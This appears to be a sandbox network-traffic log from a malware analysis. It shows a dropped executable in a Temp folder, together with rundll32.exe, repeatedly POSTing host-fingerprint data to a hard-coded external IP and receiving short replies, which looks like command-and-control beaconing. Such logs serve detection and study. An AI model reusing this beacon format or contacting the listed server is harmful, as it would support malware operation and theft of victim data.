Apr 28, 2021 23:22:38.616116047 CEST	1886	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1000	176.111.174.114	80	192.168.2.5	50318	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1001	176.111.174.114	80	192.168.2.5	50317	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1002	192.168.2.5	50320	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1003	176.111.174.114	80	192.168.2.5	50320	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1004	192.168.2.5	50321	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1005	176.111.174.114	80	192.168.2.5	50321	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1006	192.168.2.5	50322	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1007	176.111.174.114	80	192.168.2.5	50322	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1008	192.168.2.5	50323	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1009	176.111.174.114	80	192.168.2.5	50323	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
101	176.111.174.114	80	192.168.2.5	49768	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:38.713658094 CEST	1886	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:38 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1010	192.168.2.5	50326	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1011	176.111.174.114	80	192.168.2.5	50326	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1012	192.168.2.5	50327	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1013	176.111.174.114	80	192.168.2.5	50327	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1014	192.168.2.5	50329	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1015	176.111.174.114	80	192.168.2.5	50329	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1016	192.168.2.5	50330	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1017	176.111.174.114	80	192.168.2.5	50330	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1018	192.168.2.5	50331	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1019	192.168.2.5	50332	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
102	192.168.2.5	49769	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:38.931835890 CEST	1887	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1020	176.111.174.114	80	192.168.2.5	50332	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1021	176.111.174.114	80	192.168.2.5	50331	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1022	192.168.2.5	50333	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1023	176.111.174.114	80	192.168.2.5	50333	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1024	192.168.2.5	50335	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1025	176.111.174.114	80	192.168.2.5	50335	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1026	192.168.2.5	50336	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1027	176.111.174.114	80	192.168.2.5	50336	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1028	192.168.2.5	50337	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1029	176.111.174.114	80	192.168.2.5	50337	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
103	176.111.174.114	80	192.168.2.5	49769	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:39.032809019 CEST	1887	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:39 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1030	192.168.2.5	50339	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1031	176.111.174.114	80	192.168.2.5	50339	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1032	192.168.2.5	50340	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1033	176.111.174.114	80	192.168.2.5	50340	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1034	192.168.2.5	50341	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1035	176.111.174.114	80	192.168.2.5	50341	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1036	192.168.2.5	50342	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1037	192.168.2.5	50343	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1038	176.111.174.114	80	192.168.2.5	50342	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1039	192.168.2.5	50344	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
104	192.168.2.5	49770	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:39.245767117 CEST	1888	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1040	176.111.174.114	80	192.168.2.5	50344	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1041	176.111.174.114	80	192.168.2.5	50343	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1042	192.168.2.5	50345	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1043	176.111.174.114	80	192.168.2.5	50345	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1044	192.168.2.5	50347	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1045	176.111.174.114	80	192.168.2.5	50347	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1046	192.168.2.5	50348	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1047	176.111.174.114	80	192.168.2.5	50348	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1048	192.168.2.5	50349	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1049	176.111.174.114	80	192.168.2.5	50349	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
105	176.111.174.114	80	192.168.2.5	49770	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:39.350889921 CEST	1888	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:39 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1050	192.168.2.5	50350	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1051	176.111.174.114	80	192.168.2.5	50350	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1052	192.168.2.5	50352	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1053	176.111.174.114	80	192.168.2.5	50352	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1054	192.168.2.5	50353	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1055	176.111.174.114	80	192.168.2.5	50353	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1056	192.168.2.5	50354	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1057	176.111.174.114	80	192.168.2.5	50354	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1058	192.168.2.5	50355	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1059	176.111.174.114	80	192.168.2.5	50355	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
106	192.168.2.5	49771	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:39.554954052 CEST	1889	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1060	192.168.2.5	50356	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1061	192.168.2.5	50357	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1062	176.111.174.114	80	192.168.2.5	50357	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1063	176.111.174.114	80	192.168.2.5	50356	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1064	192.168.2.5	50358	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1065	176.111.174.114	80	192.168.2.5	50358	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1066	192.168.2.5	50360	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1067	176.111.174.114	80	192.168.2.5	50360	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1068	192.168.2.5	50361	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1069	176.111.174.114	80	192.168.2.5	50361	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
107	176.111.174.114	80	192.168.2.5	49771	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:39.654254913 CEST	1889	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:39 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1070	192.168.2.5	50362	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1071	176.111.174.114	80	192.168.2.5	50362	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1072	192.168.2.5	50364	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1073	176.111.174.114	80	192.168.2.5	50364	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1074	192.168.2.5	50365	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1075	176.111.174.114	80	192.168.2.5	50365	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1076	192.168.2.5	50366	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1077	176.111.174.114	80	192.168.2.5	50366	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1078	192.168.2.5	50367	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1079	176.111.174.114	80	192.168.2.5	50367	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
108	192.168.2.5	49772	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:39.878437042 CEST	1890	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1080	192.168.2.5	50368	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1081	192.168.2.5	50369	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1082	176.111.174.114	80	192.168.2.5	50368	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1083	192.168.2.5	50370	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1084	176.111.174.114	80	192.168.2.5	50370	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1085	176.111.174.114	80	192.168.2.5	50369	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1086	192.168.2.5	50371	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1087	176.111.174.114	80	192.168.2.5	50371	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1088	192.168.2.5	50373	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1089	176.111.174.114	80	192.168.2.5	50373	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
109	176.111.174.114	80	192.168.2.5	49772	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:39.983767033 CEST	1890	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:39 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1090	192.168.2.5	50374	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1091	176.111.174.114	80	192.168.2.5	50374	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1092	192.168.2.5	50375	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1093	176.111.174.114	80	192.168.2.5	50375	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1094	192.168.2.5	50376	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1095	176.111.174.114	80	192.168.2.5	50376	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1096	192.168.2.5	50378	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1097	176.111.174.114	80	192.168.2.5	50378	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1098	192.168.2.5	50379	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1099	176.111.174.114	80	192.168.2.5	50379	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	176.111.174.114	80	192.168.2.5	49716	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:23.590361118 CEST	1568	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:23 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
110	192.168.2.5	49773	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:40.196463108 CEST	1891	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1100	192.168.2.5	50380	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
